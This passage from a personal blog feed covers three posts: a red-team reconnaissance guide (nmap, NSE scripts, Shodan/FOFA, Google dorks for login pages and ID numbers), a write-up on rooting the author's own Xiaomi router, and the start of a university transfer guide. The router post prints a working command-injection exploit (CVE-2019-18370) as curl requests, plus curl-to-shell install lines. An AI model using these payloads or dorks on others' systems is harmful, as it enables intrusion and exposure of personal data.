title="Ping 扫描（主机发现）"></a>Ping 扫描（主机发现）</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nmap -sn 192.0.2.0/24</span><br><span class="line">nmap -Pn 192.0.2.10       <span class="comment"># 跳过主机发现，假定目标在线</span></span><br></pre></td></tr></tbody></table></figure><p>-sn 只做主机发现，不扫描端口。Nmap 会根据权限和网络环境使用 ICMP、TCP 或 ARP 等探测方式，并列出响应的主机。局域网中 ARP 通常最可靠。</p><p>-Pn 适合防火墙丢弃 Ping、但服务确实可访问的场景；它会让每个目标都进入端口扫描，因此在大网段上可能明显变慢。</p><h3 id="反向-DNS-与解析控制"><a href="#反向-DNS-与解析控制" class="headerlink" title="反向 DNS 与解析控制"></a>反向 DNS 与解析控制</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nmap -n 192.0.2.0/24       <span class="comment"># 不做 DNS 解析，通常更快</span></span><br><span class="line">nmap -R 192.0.2.10         <span class="comment"># 始终尝试反向 DNS</span></span><br></pre></td></tr></tbody></table></figure><h2 id="3-端口扫描"><a href="#3-端口扫描" class="headerlink" title="3. 端口扫描"></a>3. 端口扫描</h2><p>默认情况下，Nmap 扫描常见的 1,000 个 TCP 端口。实际审计通常应明确端口范围：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">nmap -p 22,80,443 192.0.2.10        <span class="comment"># 指定端口</span></span><br><span class="line">nmap -p 1-1024 192.0.2.10           <span class="comment"># 扫描范围</span></span><br><span class="line">nmap -p- 192.0.2.10                 <span class="comment"># 扫描全部 TCP 端口（1-65535）</span></span><br><span class="line">nmap --top-ports 100 192.0.2.10     <span class="comment"># 扫描最常见的 100 个端口</span></span><br><span class="line">nmap -F 192.0.2.10                  <span class="comment"># 快速扫描，端口数量少于默认</span></span><br><span class="line">nmap -p T:80,443,U:53 192.0.2.10    <span class="comment"># T=TCP，U=UDP，分别指定协议</span></span><br></pre></td></tr></tbody></table></figure><h3 id="常见-TCP-扫描类型"><a href="#常见-TCP-扫描类型" class="headerlink" title="常见 TCP 扫描类型"></a>常见 TCP 扫描类型</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nmap -sS 192.0.2.10   <span class="comment"># TCP SYN 半开放扫描</span></span><br><span class="line">nmap -sT 192.0.2.10   <span class="comment"># TCP Connect，无法发送原始报文时的后备方案</span></span><br><span class="line">nmap -sA 192.0.2.10   <span class="comment"># TCP ACK，主要用于判断防火墙过滤规则</span></span><br><span class="line">nmap -sF 192.0.2.10   <span class="comment"># FIN 扫描；结果依赖系统实现</span></span><br></pre></td></tr></tbody></table></figure><h2 id="4-识别服务、版本与操作系统"><a href="#4-识别服务、版本与操作系统" class="headerlink" title="4. 识别服务、版本与操作系统"></a>4. 识别服务、版本与操作系统</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">nmap -sV 192.0.2.10                    <span class="comment"># 探测服务和版本</span></span><br><span class="line">nmap -sV --version-light 192.0.2.10    <span class="comment"># 较少探针，速度更快</span></span><br><span class="line">nmap -sV --version-all 192.0.2.10      <span class="comment"># 尝试全部版本探针</span></span><br><span class="line">nmap -O 192.0.2.10                     <span class="comment"># 尝试识别操作系统</span></span><br><span class="line">nmap -A 192.0.2.10                     <span class="comment"># 综合探测：-O、-sV、默认 NSE、traceroute</span></span><br><span class="line">nmap --traceroute 192.0.2.10           <span class="comment"># 追踪网络路径</span></span><br></pre></td></tr></tbody></table></figure><p>-A 信息量大、流量也大。日常排查可先使用 -sV，确有需要时再追加 -O 或 –traceroute。操作系统识别是概率判断，应结合资产信息验证。</p><h2 id="5-NSE-脚本扫描"><a href="#5-NSE-脚本扫描" class="headerlink" title="5. NSE 脚本扫描"></a>5. NSE 脚本扫描</h2><p>Nmap Scripting Engine（NSE）是 Nmap 最强大的功能之一。它允许用户通过 Lua 脚本，在端口扫描的基础上执行服务枚举、配置检查、漏洞检测等自动化任务。普通 Nmap 扫描只能告诉我们”哪些端口开着”，而 NSE 脚本能进一步回答”这些端口上跑着什么服务、配置是否安全、是否存在已知漏洞”。</p><p>在使用脚本前，建议先查看脚本说明，了解其行为、参数和潜在影响，再在授权范围内运行：</p><p>bash</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">nmap --script-help http-title</span><br><span class="line">nmap --script-updatedb</span><br><span class="line">nmap --script "default,safe" 192.0.2.10</span><br><span class="line">nmap -p 80,443 --script http-title,http-headers 192.0.2.10</span><br><span class="line">nmap -p 445 --script smb-os-discovery 192.0.2.10</span><br><span class="line">nmap --script vuln 192.0.2.10</span><br></pre></td></tr></tbody></table></figure><blockquote><p><strong>命令说明：</strong></p><ul><li><code>nmap --script-help http-title</code>：查看 <code>http-title</code> 脚本的详细说明，包括用途、作者、支持的参数和示例。这是使用任何脚本前的第一步，避免盲目运行。</li><li><code>nmap --script-updatedb</code>：更新本地脚本数据库。Nmap 安装或新增脚本后，需要执行此命令让 Nmap 重新索引脚本，否则新脚本可能无法被识别。</li><li><code>nmap --script "default,safe" 192.0.2.10</code>：运行 <code>default</code> 和 <code>safe</code> 两个类别的脚本。<code>default</code> 是 Nmap 默认加载的脚本集合，<code>safe</code> 是一般认为不会破坏服务的脚本，适合常规信息收集。</li><li><code>nmap -p 80,443 --script http-title,http-headers 192.0.2.10</code>：只针对 80 和 443 端口，运行抓取网页标题和 HTTP 响应头的脚本。这类脚本属于 <code>discovery</code> 类别，能快速了解 Web 服务的基本情况。</li><li><code>nmap -p 445 --script smb-os-discovery 192.0.2.10</code>：针对 445 端口，探测 SMB 服务的操作系统版本、主机名、域等信息。这是内网渗透中常见的信息收集手段。</li><li><code>nmap --script vuln 192.0.2.10</code>：运行所有 <code>vuln</code> 类别的脚本，探测目标是否存在已知漏洞。结果需要人工确认，因为可能存在误报或受目标环境影响的偏差。</li></ul></blockquote><p><strong>脚本类别：</strong></p><table><thead><tr><th align="left">类别</th><th align="left">用途</th><th align="left">注意事项</th></tr></thead><tbody><tr><td align="left">default</td><td align="left"><code>-sC</code> 默认脚本集合</td><td align="left">通常适合常规枚举，覆盖面广但相对温和</td></tr><tr><td align="left">safe</td><td align="left">一般认为不会破坏服务的脚本</td><td align="left">仍应先验证，不同目标环境可能有差异</td></tr><tr><td align="left">discovery</td><td align="left">发现用户、共享、目录、设备信息</td><td align="left">可能暴露敏感信息，如共享路径、用户列表</td></tr><tr><td align="left">auth</td><td align="left">认证机制和匿名访问检查</td><td align="left">可能触发登录告警，甚至导致账户锁定</td></tr><tr><td align="left">vuln</td><td align="left">已知漏洞探测</td><td align="left">结果需人工确认，可能存在误报或漏报</td></tr><tr><td align="left">intrusive</td><td align="left">侵入性较强的脚本</td><td align="left">可能对目标造成较大影响，慎用</td></tr><tr><td align="left">brute</td><td align="left">口令猜测类脚本</td><td align="left">会产生大量请求，可能触发告警或锁定</td></tr><tr><td align="left">dos</td><td align="left">拒绝服务类脚本</td><td align="left">可能造成服务中断，严禁对生产环境使用</td></tr></tbody></table><p><code>-sC</code> 等价于 <code>--script=default</code>，是日常扫描中最常用的组合：</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sC -sV -p 22,80,443 192.0.2.10</span><br></pre></td></tr></tbody></table></figure><p>这条命令同时启用默认脚本（<code>-sC</code>）和版本探测（<code>-sV</code>），能在一次扫描中获取端口、服务版本和默认脚本枚举结果，是信息收集阶段的高效组合。</p><h2 id="6-输出结果与可重复性"><a href="#6-输出结果与可重复性" class="headerlink" title="6. 输出结果与可重复性"></a>6. 输出结果与可重复性</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nmap -oN result.txt 192.0.2.10       <span class="comment"># 普通文本</span></span><br><span class="line">nmap -oX result.xml 192.0.2.10       <span class="comment"># XML，便于工具解析</span></span><br><span class="line">nmap -oG result.gnmap 192.0.2.10     <span class="comment"># Grepable 格式</span></span><br><span class="line">nmap -oA audit-2026-09-15 192.0.2.10 <span class="comment"># 同时输出 .nmap/.xml/.gnmap</span></span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nmap -v 192.0.2.10        <span class="comment"># 增加过程信息</span></span><br><span class="line">nmap -vv 192.0.2.10       <span class="comment"># 更详细</span></span><br><span class="line">nmap --reason 192.0.2.10  <span class="comment"># 显示判定端口状态的原因</span></span><br><span class="line">nmap --open 192.0.2.10    <span class="comment"># 只显示开放或可能开放的端口</span></span><br><span class="line">nmap -d 192.0.2.10        <span class="comment"># 调试输出</span></span><br></pre></td></tr></tbody></table></figure><h2 id="7-速度、稳定性与资源控制"><a href="#7-速度、稳定性与资源控制" class="headerlink" title="7. 速度、稳定性与资源控制"></a>7. 速度、稳定性与资源控制</h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nmap -T3 192.0.2.0/24</span><br><span class="line">nmap -T4 192.0.2.0/24</span><br><span class="line">nmap --min-rate 100 --max-retries 2 192.0.2.10</span><br><span class="line">nmap --host-timeout 5m 192.0.2.10</span><br><span class="line">nmap --scan-delay 100ms 192.0.2.10</span><br></pre></td></tr></tbody></table></figure><p>-T0 到 -T5 从极慢到极快。速率越高越容易丢包、触发 IDS/IPS 或影响脆弱设备；应根据链路、目标承载能力和授权窗口调整。</p><h2 id="8-实用组合命令"><a href="#8-实用组合命令" class="headerlink" title="8. 实用组合命令"></a>8. 实用组合命令</h2><h3 id="快速盘点一个网段"><a href="#快速盘点一个网段" class="headerlink" title="快速盘点一个网段"></a>快速盘点一个网段</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sn -n 192.0.2.0/24 -oA inventory</span><br></pre></td></tr></tbody></table></figure><p>先找在线主机，不做 DNS，并保存三种格式结果。</p><h3 id="单台主机常规服务枚举"><a href="#单台主机常规服务枚举" class="headerlink" title="单台主机常规服务枚举"></a>单台主机常规服务枚举</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> nmap -sS -sV -sC -O -p- --reason -oA host-audit 192.0.2.10</span><br></pre></td></tr></tbody></table></figure><p>该命令会扫描全部 TCP 端口、识别版本、运行默认脚本、尝试识别系统并保存证据。生产环境可先去掉 -O、-sC 或 -p- 以降低流量。</p><h3 id="检查常见-Web-端口"><a href="#检查常见-Web-端口" class="headerlink" title="检查常见 Web 端口"></a>检查常见 Web 端口</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -p 80,443,8080,8443 -sV --script http-title,http-headers 192.0.2.10</span><br></pre></td></tr></tbody></table></figure><h3 id="批量扫描并排除目标"><a href="#批量扫描并排除目标" class="headerlink" title="批量扫描并排除目标"></a>批量扫描并排除目标</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -iL targets.txt --exclude 192.0.2.13,192.0.2.20 -p 22,80,443 -sV -oA batch</span><br></pre></td></tr></tbody></table></figure><h1 id="其他资产侦察"><a href="#其他资产侦察" class="headerlink" title="其他资产侦察"></a>其他资产侦察</h1><h2 id="域名子域名搜集"><a href="#域名子域名搜集" class="headerlink" title="域名子域名搜集"></a>域名子域名搜集</h2><h3 id="censys"><a href="#censys" class="headerlink" title="censys"></a>censys</h3><p><a href="https://platform.censys.io/home">Censys Platform</a></p><p>目前为止我用过最狠的，套了cf的域名都给我扫出IP来了</p><h3 id="arl灯塔"><a href="#arl灯塔" class="headerlink" title="arl灯塔"></a>arl灯塔</h3><p><a href="https://github.com/Aabyss-Team/ARL">Aabyss-Team/ARL: ARL官方仓库备份项目：ARL(Asset Reconnaissance Lighthouse)资产侦察灯塔系统旨在快速侦察与目标关联的互联网资产，构建基础资产信息库。 协助甲方安全团队或者渗透测试人员有效侦察和检索资产，发现存在的薄弱点和攻击面。</a></p><p>灯塔算老资历了，要自己本地部署</p><h2 id="搜索引擎"><a href="#搜索引擎" class="headerlink" title="搜索引擎"></a>搜索引擎</h2><h3 id="FOFA"><a href="#FOFA" class="headerlink" title="FOFA"></a>FOFA</h3><p><a href="https://fofa.info/">网络空间测绘，网络空间安全搜索引擎，网络空间搜索引擎，安全态势感知 - FOFA网络空间测绘系统</a></p><p>FOFA 是一款网络空间资产搜索引擎，通俗来说，它像“安全界的 Google”，用于搜索互联网上暴露的设备和服务。它由华顺信安推出，通过对全球开放服务进行探测和指纹识别，帮助用户快速定位和匹配网络资产。</p><table><thead><tr><th align="left">搜索字段</th><th align="left">含义</th><th align="left">示例</th></tr></thead><tbody><tr><td align="left"><code>title</code></td><td align="left">搜索网页标题</td><td align="left"><code>title="后台管理"</code></td></tr><tr><td align="left"><code>body</code></td><td align="left">搜索 HTML 正文内容</td><td align="left"><code>body="登录"</code></td></tr><tr><td align="left"><code>domain</code></td><td align="left">搜索根域名</td><td align="left"><code>domain="example.com"</code></td></tr><tr><td align="left"><code>host</code></td><td align="left">从 URL 中搜索</td><td align="left"><code>host=".gov.cn"</code></td></tr><tr><td align="left"><code>port</code></td><td align="left">搜索开放端口</td><td align="left"><code>port="443"</code></td></tr><tr><td align="left"><code>ip</code></td><td align="left">搜索 IP 或网段</td><td align="left"><code>ip="192.0.2.0/24"</code></td></tr><tr><td align="left"><code>cert</code></td><td align="left">搜索证书内容</td><td align="left"><code>cert="example.com"</code></td></tr><tr><td align="left"><code>app</code></td><td align="left">搜索特定应用</td><td align="left"><code>app="海康威视-视频监控"</code></td></tr><tr><td align="left"><code>country</code> / <code>region</code></td><td align="left">按国家 / 地区筛选</td><td align="left"><code>country="CN"</code> / <code>region="Zhejiang"</code></td></tr></tbody></table><h3 id="Shodan"><a href="#Shodan" class="headerlink" title="Shodan"></a>Shodan</h3><p><a href="https://www.shodan.io/">Shodan Search Engine</a></p><p><code>Shodan</code>是互联网上最可怕的搜索引擎，与谷歌不同的是，Shodan不是在网上搜索网址，而是直接进入互联网的背后通道。Shodan可以说是一款<code>“黑暗”谷歌</code>，一刻不停的寻找所有和互联网关联的服务器，摄像头，打印机，路由器。</p><h3 id="Daydaymap"><a href="#Daydaymap" class="headerlink" title="Daydaymap"></a>Daydaymap</h3><p><a href="https://www.daydaymap.com/home">DayDayMap 网络空间资产测绘平台</a></p><p>另一个之前打比赛当奖品认识的，没怎么用过</p><h3 id="谷歌浏览器"><a href="#谷歌浏览器" class="headerlink" title="谷歌浏览器"></a>谷歌浏览器</h3><p>收到信息收集和资产收集怎么可能少的了Google浏览器呢，Google浏览器的黑客语法是一个十分强大的存在，特别是在以前网络方面管的不是很严控的时候，很多大牛都是使用一些厉害的Google语法进行一个资产的收集，在以前学校的一些<code>身份证</code>和<code>学号</code>信息经常能够利用这些语法找到的。</p><p>下面我也简单的给师傅们整理了下一些常见的一些<code>Google检索的语法</code>，如下：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">1.site:域名 intext:管理|后 台|登陆|用户名|密码|验证码|系统|帐号|manage|admin|login|system</span><br><span class="line"></span><br><span class="line">2.site:域名 inurl:login|admin|manage|manager|admin_login|login_admin|system</span><br><span class="line"></span><br><span class="line">3.site:域名 intext:"手册"</span><br><span class="line"></span><br><span class="line">4.site:域名 intext:"忘记密码"</span><br><span class="line"></span><br><span class="line">5.site:域名 intext:"工号"</span><br><span class="line"></span><br><span class="line">6.site:域名 intext:"优秀员工"</span><br><span class="line"></span><br><span class="line">7.site:域名 intext:"身份证号码"</span><br><span class="line"></span><br><span class="line">8.site:域名 intext:"手机号"</span><br></pre></td></tr></tbody></table></figure><h1 id="综合资产测绘"><a href="#综合资产测绘" class="headerlink" title="综合资产测绘"></a>综合资产测绘</h1><p>推荐一个mcp，<strong>enscan_go</strong>，由狼组大佬打开的企业资产信息搜集工具</p><p><a href="https://github.com/usdagfhjkda/wgpsec-ENScan_GO">usdagfhjkda/wgpsec-ENScan_GO: Archival mirror of wgpsec/ENScan_GO (upstream deleted in 2026). Apache-2.0. Original author: keac. See MODIFICATIONS.md.</a></p><p>对应的，也可以自行前往企查查，小蓝本，爱企查等搜集企业资产</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/CTF/xxsj/</id>
    <link href="https://blog.btop251.top/CTF/xxsj/"/>
    <published>2026-09-15T00:00:00.000Z</published>
    <summary>一些常用的信息搜集工具</summary>
    <title>红队渗透之信息搜集</title>
    <updated>2026-09-15T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="others" scheme="https://blog.btop251.top/categories/others/"/>
    <category term="others" scheme="https://blog.btop251.top/tags/others/"/>
    <content>
      <![CDATA[<html><head></head><body><h1 id="记一次xiaomi路由器的改造"><a href="#记一次xiaomi路由器的改造" class="headerlink" title="记一次xiaomi路由器的改造"></a>记一次xiaomi路由器的改造</h1><blockquote><p>事情的起因是在打扫大四老登的遗留物的时候淘了一个xiaomi的路由器，型号是xiaomi ax3000e，虽然不是什么新版本的，但是放在宿舍也够用了，如果只是拿他来连wifi就太浪费了，于是上网找有没有什么root的办法</p></blockquote><p><strong>⚠️ 警告：以下操作涉及路由器系统底层修改，存在变砖风险。请自行承担所有操作后果，作者不对任何设备损坏或数据丢失负责。建议在操作前备份重要数据，并确保有恢复手段（如官方救砖工具）。</strong></p><h2 id="解锁ssh"><a href="#解锁ssh" class="headerlink" title="解锁ssh"></a>解锁ssh</h2><p>首先路由器开机并连接他的网络，xiaomi路由器的后台通常是</p><p><code>192.168.31.1</code></p><h3 id="登录后台获取登录凭证（stok"><a href="#登录后台获取登录凭证（stok" class="headerlink" title="登录后台获取登录凭证（stok)"></a>登录后台获取登录凭证（stok)</h3><p>登录路由器管理后台<a href="http://192.168.31.1/">http://192.168.31.1</a> ，登录成功后，观察浏览器地址栏，会看到类似这样的URL：</p><p><code>http://192.168.31.1/cgi-bin/luci/web?stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&amp;...</code></p><p>其中 <code>stok</code> 后面跟着的那一串32位字符就是你的STOK。<strong>注意：STOK在每次登录时都会重新生成，复制后请尽快使用。</strong></p><h3 id="执行rce"><a href="#执行rce" class="headerlink" title="执行rce"></a>执行rce</h3><p>然后电脑开启管理员权限的cmd</p><figure class="highlight cmd"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">curl -X POST http://<span class="number">192</span>.<span class="number">168</span>.<span class="number">31</span>.<span class="number">1</span>/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=<span class="number">1234</span>&amp;key=<span class="number">1234</span>'<span class="variable">%0Anvram%</span><span class="number">20</span><span class="built_in">set</span><span class="variable">%20ssh_en%</span><span class="number">3</span>D1'"</span><br><span class="line">curl -X POST http://<span class="number">192</span>.<span class="number">168</span>.<span class="number">31</span>.<span class="number">1</span>/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=<span class="number">1234</span>&amp;key=<span class="number">1234</span>'<span class="variable">%0Anvram%</span><span class="number">20</span>commit'"</span><br><span class="line">curl -X POST http://<span class="number">192</span>.<span class="number">168</span>.<span class="number">31</span>.<span class="number">1</span>/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=<span class="number">1234</span>&amp;key=<span class="number">1234</span>'<span class="variable">%0Ased%</span><span class="number">20</span>-i<span class="variable">%20's%</span><span class="number">2</span>Fchannel<span class="variable">%3D.*%</span><span class="number">2</span>Fchannel<span class="variable">%3D%</span><span class="number">22</span>debug<span class="variable">%22%</span><span class="number">2</span>Fg'<span class="variable">%20%</span><span class="number">2</span>Fetc<span class="variable">%2Finit.d%</span><span class="number">2</span>Fdropbear'"</span><br><span class="line">curl -X POST http://<span class="number">192</span>.<span class="number">168</span>.<span class="number">31</span>.<span class="number">1</span>/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=<span class="number">1234</span>&amp;key=<span class="number">1234</span>'<span class="variable">%0A%</span><span class="number">2</span>Fetc<span class="variable">%2Finit.d%</span><span class="number">2</span>Fdropbear%<span class="number">20</span><span class="built_in">start</span>'"</span><br></pre></td></tr></tbody></table></figure><p>注意上面的命令需要将<code>stok</code>改为你机子对应的<code>stok</code>，进入后台后就能看到</p><p>这里用的是小米路由器经典的rce漏洞（CVE-2019-18370），通过<code>start_binding</code>接口的<code>key</code>参数注入换行符</p><p>原理是通过<code>%0A</code>也就是回车将<code>key</code>命令和之后的命令截断，实现命令的执行</p><p>上面这四条命令为</p><figure class="highlight cmd"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nvram <span class="built_in">set</span> ssh_en=<span class="number">1</span>  #开启ssh</span><br><span class="line">nvram commit        #保存配置</span><br><span class="line">sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear   #修改dropbear启动脚本，绕过某些限制</span><br><span class="line">/etc/init.d/dropbear <span class="built_in">start</span>        #手动执行启动脚本，启动SSH服务</span><br></pre></td></tr></tbody></table></figure><p>这样就通过rce漏洞开启了一个root权限的ssh</p><p>账号是root，密码通过网站计算<a href="https://miwifi.dev/ssh">ssh密码计算网站</a></p><p>在网址中输入你的SN就能给出ssh的默认密码，SN通常会在路由器底部，也可以在后台管理网址看到</p><p>之后用你的小工具登录ssh即可（我是用<code>termius</code>来管理ssh）</p><h2 id="固定ssh"><a href="#固定ssh" class="headerlink" title="固定ssh"></a>固定ssh</h2><p>接下来就是永久固定ssh，将配置写进底层存储（NVRAM），这样你断电或重启之后配置也不会消失</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">nvram <span class="built_in">set</span> ssh_en=1</span><br><span class="line">nvram <span class="built_in">set</span> telnet_en=1</span><br><span class="line">nvram <span class="built_in">set</span> uart_en=1</span><br><span class="line">nvram <span class="built_in">set</span> boot_wait=on</span><br><span class="line">nvram commit</span><br></pre></td></tr></tbody></table></figure><p>用脚本永久开启ssh</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> /data/auto_ssh &amp;&amp; <span class="built_in">cd</span> /data/auto_ssh</span><br><span class="line">curl -O https://fastly.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.sh</span><br><span class="line"><span class="built_in">chmod</span> +x auto_ssh.sh</span><br><span class="line"></span><br><span class="line">uci <span class="built_in">set</span> firewall.auto_ssh=include</span><br><span class="line">uci <span class="built_in">set</span> firewall.auto_ssh.type=<span class="string">'script'</span></span><br><span class="line">uci <span class="built_in">set</span> firewall.auto_ssh.path=<span class="string">'/data/auto_ssh/auto_ssh.sh'</span></span><br><span class="line">uci <span class="built_in">set</span> firewall.auto_ssh.enabled=<span class="string">'1'</span></span><br><span class="line">uci commit firewall</span><br></pre></td></tr></tbody></table></figure><h3 id="关于NVRAM"><a href="#关于NVRAM" class="headerlink" title="关于NVRAM"></a>关于NVRAM</h3><p>NVRAM（Non-Volatile Random Access Memory，非易失性随机存取存储器）是一种断电后数据不会丢失的存储芯片。在路由器中，NVRAM用于存储系统配置参数，类似于电脑的CMOS。通过 <code>nvram</code> 命令可以读写这些参数：</p><ul><li><code>nvram set key=value</code>：设置参数</li><li><code>nvram commit</code>：将当前所有修改写入永久存储</li><li><code>nvram get key</code>：读取参数</li></ul><h2 id="科学上网"><a href="#科学上网" class="headerlink" title="科学上网"></a>科学上网</h2><p>ShellCrash是一个在shell端上运行的代理工具，支持Clash内核。</p><p>shellcrash安装</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> url=<span class="string">'https://fastly.jsdelivr.net/gh/juewuy/ShellCrash@master'</span> &amp;&amp; sh -c <span class="string">"<span class="subst">$(curl -kfsSl $url/install.sh)</span>"</span> &amp;&amp; <span class="built_in">source</span> /etc/profile &amp;&gt; /dev/null</span><br></pre></td></tr></tbody></table></figure><p>备用安装源</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> url=<span class="string">'https://gh.jwsc.eu.org/master'</span> &amp;&amp; sh -c <span class="string">"<span class="subst">$(curl -kfsSl $url/install.sh)</span>"</span> &amp;&amp; <span class="built_in">source</span> /etc/profile &amp;&gt; /dev/null</span><br></pre></td></tr></tbody></table></figure><p>安装之后会开启配置脚本，只需要按照脚本的引导配置机场，和使用clash没什么区别，所以具体的配置过程略</p><p>管理面板（代理）<a href="https://board.zash.run.place/#/">192.168.31.1:9999 | 代理</a>当然也可以自己本地下载面板，这样安全一些</p><p>机场推荐</p><p><a href="https://1s.bigmeok.me/user#/register?code=fg1frgCN">https://1s.bigmeok.me/user#/register?code=fg1frgCN</a></p><p><a href="https://ikuuu.foo/auth/register?code=8Ljl">https://ikuuu.foo/auth/register?code=8Ljl</a></p><p><a href="https://dash.pqjc.site/register?code=sOAPdaTp&amp;cover=sfw">https://dash.pqjc.site/register?code=sOAPdaTp&amp;cover=sfw</a></p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/others/xiaomi0807/</id>
    <link href="https://blog.btop251.top/others/xiaomi0807/"/>
    <published>2026-08-07T00:00:00.000Z</published>
    <summary>ssh兼科学上网</summary>
    <title>记一次xiaomi路由器的改造</title>
    <updated>2026-08-07T00:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="others" scheme="https://blog.btop251.top/categories/others/"/>
    <category term="others" scheme="https://blog.btop251.top/tags/others/"/>
    <content>
      <![CDATA[<html><head></head><body><h2 id="计软转专业流程"><a href="#计软转专业流程" class="headerlink" title="计软转专业流程"></a>计软转专业流程</h2><p>计软学院转专业其实分四步：<strong>报名 → 高数 → 机考 → 面试</strong>。</p><h3 id="报名"><a href="#报名" class="headerlink" title="报名"></a>报名</h3><ul><li>2026年4月15日，公文通发通知，告诉你转专业要开始了。</li><li>4月30日到5月9日（第九周周六前），PC端开放报名。</li></ul><p>今年有个大变化：以前报名期间不公布各专业报名人数，大家就都玩心理战——“求稳”嘛，不敢报招生人少的高分专业，都去挤工科普通班。结果搞出倒挂：那些高分专业的高数最低录取分，反而比普通班还低。<br>但今年系统会在你报名前显示已报名人数，想靠博弈捡漏基本没戏了。以后转专业，越来越看真本事。</p><h3 id="高数"><a href="#高数" class="headerlink" title="高数"></a>高数</h3><ul><li>考试时间：2026年5月16日（周六）15:00～17:00</li><li>考场：公文通会提前通知，粤海校区一般在汇文楼</li><li>范围：高数A上册全部内容</li></ul><p><strong>重要的事说三遍</strong>：</p><blockquote><p>带好<strong>身份证</strong>和<strong>学生证</strong>！<br>带好<strong>身份证</strong>和<strong>学生证</strong>！！<br>带好<strong>身份证</strong>和<strong>学生证</strong>！！！</p></blockquote><p>往届真有因为忘带证件回去拿，错过入场时间的，直接白给。</p><p>可以提前一小时交卷。</p><h3 id="机考"><a href="#机考" class="headerlink" 